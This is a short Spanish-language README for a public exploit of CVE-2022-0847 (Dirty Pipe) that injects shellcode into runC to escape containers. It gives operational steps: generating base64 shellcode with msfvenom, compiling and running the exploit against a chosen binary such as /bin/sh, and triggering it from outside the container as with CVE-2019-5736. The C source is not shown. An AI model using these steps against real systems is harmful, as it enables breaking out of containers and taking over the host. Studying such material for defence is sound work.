CVE-2022-0847

Un exploit simple que utiliza dirtypipe para inyectar shellcode en el punto de entrada de runC para implementar escapes de contenedores.

Uso

Produce shellcode codificado en base64 usando msf:

$ msfvenom -p linux/x64/exec CMD="<command>" -f base64

Compila y ejecuta en el contenedor, el nombre de archivo sobrescrito es el binario que runC ejecutará en el contenedor (por ejemplo, /bin/sh):

$ gcc exploit.c -o exploit
$ ./exploit <overwritten filename> <base64 shellcode>

Activa el exploit y el shellcode fuera del contenedor como CVE-2019-5736.

Referencias

• Escapando de Docker mediante runC – Explicando CVE-2019-5736
• Usando la vulnerabilidad Dirty Pipe para escapar de contenedores